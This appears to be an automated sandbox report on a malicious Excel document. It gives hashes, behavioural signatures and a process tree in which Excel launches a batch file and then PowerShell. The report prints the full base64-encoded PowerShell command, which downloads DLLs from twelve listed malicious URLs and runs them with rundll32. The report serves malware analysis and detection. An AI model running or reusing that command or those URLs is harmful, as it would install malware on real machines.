Analysis
-
max time kernel
133s -
max time network
139s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 20:51
Behavioral task
behavioral1
Sample
223cd65775cc7ae7c51f008c979fdd81bf9334ac1510be4120b5a72f2e60830d.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
223cd65775cc7ae7c51f008c979fdd81bf9334ac1510be4120b5a72f2e60830d.xls
Resource
win10v2004-20241007-en
General
-
Target
223cd65775cc7ae7c51f008c979fdd81bf9334ac1510be4120b5a72f2e60830d.xls
-
Size
144KB
-
MD5
c1fa1f292a680c4b364f181a890b9d9b
-
SHA1
f2c784cfcca452022d9e39fa8310e5ba6b93054b
-
SHA256
223cd65775cc7ae7c51f008c979fdd81bf9334ac1510be4120b5a72f2e60830d
-
SHA512
1c4157daf0ad7d97af5bed5505320e9df6c5d2acc2a2f98f94814057501f47962db58df72b74ce49ff91ae0aafcfea9692d3fefa308bd2e4f1c0f8d9579f2b53
-
SSDEEP
3072:n7cKoSsxzNDZLDZjlbR868O8K0c03D38TehYTdeHVhjqabWHLtyeGx6Z84TIKGxG:7cKoSsxzNDZLDZjlbR868O8K0c03D389
Malware Config
Extracted
http://althyplane.com/wp-admin/ELWa8YcOqlJn/
http://dreamdancefactory.clnetworktv.com/zegsgpzq/CT75/
http://ajkersomaj.com/wp-admin/ThBwKpUbIffmrepRg/
http://1asehrgut.com/dup-installer/3vESrkJAS97l/
http://dreamcityloveaffair.com/60bv5/RG9Kb1qRlQ/
http://dreamproductionsfl.com/tmw8t/Szjjcj5mU1ZA/
http://dreamcityimprov.com/d5759pd/yzbV45v1nY/
http://delmarpropertyservices.com/nw1t8jj/NUrSuFyX6P/
http://batumi4u.com/nwj7iw/jgiK2uwhsu/
http://blasieholmen-staging.tokig.site/b/SOcGvzIi31HDg/
http://climate.thecedarcentre.org/cgi-bin/3eseeNZ/
http://changeyourcommunitynow.com/s1hf7qm/TqcrwYcOiqV8fWA/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4740 3580 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 8 IoCs
Processes:
powershell.exeflow pid process 23 1872 powershell.exe 24 1872 powershell.exe 27 1872 powershell.exe 31 1872 powershell.exe 34 1872 powershell.exe 38 1872 powershell.exe 40 1872 powershell.exe 42 1872 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
rundll32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3580 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1872 powershell.exe 1872 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1872 powershell.exe -
Suspicious use of SetWindowsHookEx 14 IoCs
Processes:
EXCEL.EXEpid process 3580 EXCEL.EXE 3580 EXCEL.EXE 3580 EXCEL.EXE 3580 EXCEL.EXE 3580 EXCEL.EXE 3580 EXCEL.EXE 3580 EXCEL.EXE 3580 EXCEL.EXE 3580 EXCEL.EXE 3580 EXCEL.EXE 3580 EXCEL.EXE 3580 EXCEL.EXE 3580 EXCEL.EXE 3580 EXCEL.EXE -
Suspicious use of WriteProcessMemory 7 IoCs
Processes:
EXCEL.EXEcmd.exepowershell.exedescription pid process target process PID 3580 wrote to memory of 4740 3580 EXCEL.EXE cmd.exe PID 3580 wrote to memory of 4740 3580 EXCEL.EXE cmd.exe PID 4740 wrote to memory of 1872 4740 cmd.exe powershell.exe PID 4740 wrote to memory of 1872 4740 cmd.exe powershell.exe PID 1872 wrote to memory of 1392 1872 powershell.exe rundll32.exe PID 1872 wrote to memory of 1392 1872 powershell.exe rundll32.exe PID 1872 wrote to memory of 1392 1872 powershell.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\223cd65775cc7ae7c51f008c979fdd81bf9334ac1510be4120b5a72f2e60830d.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3580 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\programdata\cbjwektde.bat" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4740 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AYQBsAHQAaAB5AHAAbABhAG4AZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARQBMAFcAYQA4AFkAYwBPAHEAbABKAG4ALwAsAGgAdAB0AHAAOgAvAC8AZAByAGUAYQBtAGQAYQBuAGMAZQBmAGEAYwB0AG8AcgB5AC4AYwBsAG4AZQB0AHcAbwByAGsAdAB2AC4AYwBvAG0ALwB6AGUAZwBzAGcAcAB6AHEALwBDAFQANwA1AC8ALABoAHQAdABwADoALwAvAGEAagBrAGUAcgBzAG8AbQBhAGoALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFQAaABCAHcASwBwAFUAYgBJAGYAZgBtAHIAZQBwAFIAZwAvACwAaAB0AHQAcAA6AC8ALwAxAGEAcwBlAGgAcgBnAHUAdAAuAGMAbwBtAC8AZAB1AHAALQBpAG4AcwB0AGEAbABsAGUAcgAvADMAdgBFAFMAcgBrAEoAQQBTADkANwBsAC8ALABoAHQAdABwADoALwAvAGQAcgBlAGEAbQBjAGkAdAB5AGwAbwB2AGUAYQBmAGYAYQBpAHIALgBjAG8AbQAvADYAMABiAHYANQAvAFIARwA5AEsAYgAxAHEAUgBsAFEALwAsAGgAdAB0AHAAOgAvAC8AZAByAGUAYQBtAHAAcgBvAGQAdQBjAHQAaQBvAG4AcwBmAGwALgBjAG8AbQAvAHQAbQB3ADgAdAAvAFMAegBqAGoAYwBqADUAbQBVADEAWgBBAC8ALABoAHQAdABwADoALwAvAGQAcgBlAGEAbQBjAGkAdAB5AGkAbQBwAHIAbwB2AC4AYwBvAG0ALwBkADUANwA1ADkAcABkAC8AeQB6AGIAVgA0ADUAdgAxAG4AWQAvACwAaAB0AHQAcAA6AC8ALwBkAGUAbABtAGEAcgBwAHIAbwBwAGUAcgB0AHkAcwBlAHIAdgBpAGMAZQBzAC4AYwBvAG0ALwBuAHcAMQB0ADgAagBqAC8ATgBVAHIAUwB1AEYAeQBYADYAUAAvACwAaAB0AHQAcAA6AC8ALwBiAGEAdAB1AG0AaQA0AHUALgBjAG8AbQAvAG4AdwBqADcAaQB3AC8AagBnAGkASwAyAHUAdwBoAHMAdQAvACwAaAB0AHQAcAA6AC8ALwBiAGwAYQBzAGkAZQBoAG8AbABtAGUAbgAtAHMAdABhAGcAaQBuAGcALgB0AG8AawBpAGcALgBzAGkAdABlAC8AYgAvAFMATwBjAEcAdgB6AEkAaQAzADEASABEAGcALwAsAGgAdAB0AHAAOgAvAC8AYwBsAGkAbQBhAHQAZQAuAHQAaABlAGMAZQBkAGEAcgBjAGUAbgB0AHIAZQAuAG8AcgBnAC8AYwBnAGkALQBiAGkAbgAvADMAZQBzAGUAZQBOAFoALwAsAGgAdAB0AHAAOgAvAC8AYwBoAGEAbgBnAGUAeQBvAHUAcgBjAG8AbQBtAHUAbgBpAHQAeQBuAG8AdwAuAGMAbwBtAC8AcwAxAGgAZgA3AHEAbQAvAFQAcQBjAHIAdwBZAGMATwBpAHEAVgA4AGYAVwBBAC8AIgAuAFMAcABsAGkAdAAoACIALAAiACkAOwAgAGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1872 -
C:\windows\syswow64\rundll32.exe"C:\windows\syswow64\rundll32.exe" c:\programdata\1489616005.dll,f14155334504⤵
- System Location Discovery: System Language Discovery
PID:1392
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD5425e7b3e6f654b6d50c23aa9dcb17d5c
SHA1a598b121d65a39548a76405ff09187d922ef74d3
SHA2567b74a8b27509b66fe7fbd98586fa318d0f7ab72ae9232149768f6a846c501e1a
SHA51280d857886e67a7e5f9f800bf0024d09fc7423f73bb73a3cb0ad8f42a9c0440439e5a34a3a07a3234cdc8b4be684a86c5e618b10a6bc09c7c01e411883d6869cd
-
Filesize
3KB
MD5a90319111c2f42a9c83a3a2bc2613d74
SHA1bf1171da149442a511a946ded726b94c1ad7cf85
SHA256763706fce04801df0720ca67b0905876ddf4f3fc1aedbbd1d032e96b227a6e51
SHA5121358cf85166ea3a135425e7aa274ab66dd21605f3635c5260fd35e5134ef9698ea5b38df21721aaa72040d6f2506f5b3e926a72698dec56191d8079e3511ffe7
-
Filesize
78KB
MD58eab8e846d9b913068a1cf73cb18a28f
SHA15cc18dd51d120383a1636285e6b970d3bea2759e
SHA256ef7071fc0722aaca21c7e41c378ecf4bb23296c882bebf9b4124ecde84ee0a35
SHA51255fedff400d15d34b7a01cb252310bf95b5585cc1449993236ea9aed488182f6ae59f4575e74c4ffb65cda08721ac5e52d89d60b852aece37bc8c99fbf64a646